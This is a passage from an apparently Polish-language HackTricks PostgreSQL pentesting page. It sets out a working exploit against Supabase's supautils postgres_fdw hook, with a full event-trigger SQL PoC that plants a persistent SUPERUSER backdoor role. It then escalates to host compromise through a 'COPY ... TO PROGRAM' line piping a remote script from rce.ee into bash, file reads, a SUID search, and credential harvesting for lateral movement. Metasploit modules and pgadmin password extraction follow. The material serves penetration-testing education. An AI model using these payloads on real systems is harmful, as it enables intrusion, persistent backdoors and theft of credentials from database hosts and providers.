Zarządzane wdrożenia Supabase opierają się na rozszerzeniu supautils, które opakowuje CREATE EXTENSION za pomocą należących do dostawcy skryptów before-create.sql/after-create.sql uruchamianych jako prawdziwi superużytkownicy. Skrypt after-create postgres_fdw krótko wykonuje ALTER ROLE postgres SUPERUSER, uruchamia ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres, a następnie przywraca postgres do NOSUPERUSER. Ponieważ ALTER FOREIGN DATA WRAPPER wywołuje wyzwalacze zdarzeń ddl_command_start/ddl_command_end, gdy current_user jest superuserem, wyzwalacze utworzone przez tenantów mogą wykonać złośliwy SQL w tym oknie.
Exploit flow:
- Utwórz funkcję wyzwalacza zdarzeń PL/pgSQL, która sprawdza
SELECT usesuper FROM pg_user WHERE usename = current_useri, jeśli wynik jest prawdziwy, tworzy rolę backdoor (np.CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123'). - Zarejestruj funkcję zarówno na
ddl_command_start, jak iddl_command_end. DROP EXTENSION IF EXISTS postgres_fdw CASCADE;a następnieCREATE EXTENSION postgres_fdw;, aby ponownie uruchomić after-create hook Supabase.- Gdy hook nadaje
postgresuprawnienia, wyzwalacz wykona się, utworzy trwałą rolę SUPERUSER i przyzna ją z powrotempostgres, umożliwiając łatwy dostęp poprzezSET ROLE.
PoC wyzwalacza zdarzeń dla okna after-create postgres_fdw
```sql CREATE OR REPLACE FUNCTION escalate_priv() RETURNS event_trigger AS $$ DECLARE is_super BOOLEAN; BEGIN SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user; IF is_super THEN BEGIN EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123'''; EXCEPTION WHEN duplicate_object THEN NULL; END; BEGIN EXECUTE 'GRANT priv_esc TO postgres'; EXCEPTION WHEN OTHERS THEN NULL; END; END IF; END; $$ LANGUAGE plpgsql;DROP EVENT TRIGGER IF EXISTS log_start CASCADE; DROP EVENT TRIGGER IF EXISTS log_end CASCADE; CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv(); CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();
DROP EXTENSION IF EXISTS postgres_fdw CASCADE; CREATE EXTENSION postgres_fdw;
</details>
Supabase’s attempt to skip unsafe triggers only checks ownership, so ensure the trigger function owner is your low-privileged role, but the payload executes only when the hook flips `current_user` into SUPERUSER. Because the trigger re-runs on future DDL, it doubles as a self-healing persistence backdoor whenever the provider briefly elevates tenant roles.
### Przekształcenie przejściowego dostępu SUPERUSER w kompromitację hosta
Po pomyślnym wykonaniu `SET ROLE priv_esc;`, ponownie uruchom wcześniej zablokowane prymitywy:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';
pg_read_file/COPY ... TO PROGRAM teraz umożliwiają dowolny dostęp do plików i wykonanie poleceń jako konto systemowe bazy danych. Kontynuuj standardową eskalację uprawnień na hoście:
find / -perm -4000 -type f 2>/dev/null
Nadużycie źle skonfigurowanego SUID binary lub zapisywalnej konfiguracji zapewnia dostęp root. Po uzyskaniu root, zbierz poświadczenia orkiestracji (systemd unit env files, /etc/supabase, kubeconfigs, agent tokens), aby pivot laterally po regionie dostawcy.
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
logowanie
W pliku postgresql.conf możesz włączyć logi postgresql zmieniając:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
Następnie, zrestartuj usługę.
pgadmin
pgadmin to platforma administracyjna i deweloperska dla PostgreSQL.
Możesz znaleźć passwords w pliku pgadmin4.db
Możesz je odszyfrować, używając funkcji decrypt w skrypcie: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
Uwierzytelnianie klientów w PostgreSQL jest zarządzane za pomocą pliku konfiguracyjnego o nazwie pg_hba.conf. Ten plik zawiera szereg rekordów, z których każdy określa typ połączenia, zakres adresów IP klienta (jeśli dotyczy), nazwę bazy danych, nazwę użytkownika oraz metodę uwierzytelniania używaną do dopasowywania połączeń. Do uwierzytelniania używany jest pierwszy rekord, który pasuje do typu połączenia, adresu klienta, żądanej bazy danych i nazwy użytkownika. Nie ma mechanizmu zapasowego ani fallback w przypadku niepowodzenia uwierzytelniania. Jeśli żaden rekord nie pasuje, dostęp jest zabroniony.
Dostępne metody uwierzytelniania oparte na haśle w pg_hba.conf to md5, crypt i password. Metody te różnią się sposobem przesyłania hasła: MD5-hashed, crypt-encrypted lub w postaci jawnej. Ważne jest, aby pamiętać, że metoda crypt nie może być używana z hasłami, które zostały zaszyfrowane w pg_authid.
Źródła
- SupaPwn: Hacking Our Way into Lovable’s Office and Helping Secure Supabase
- HTB: DarkCorp by 0xdf
- PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM
- Postgres SQL injection to RCE with archive_command (The Gray Area)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

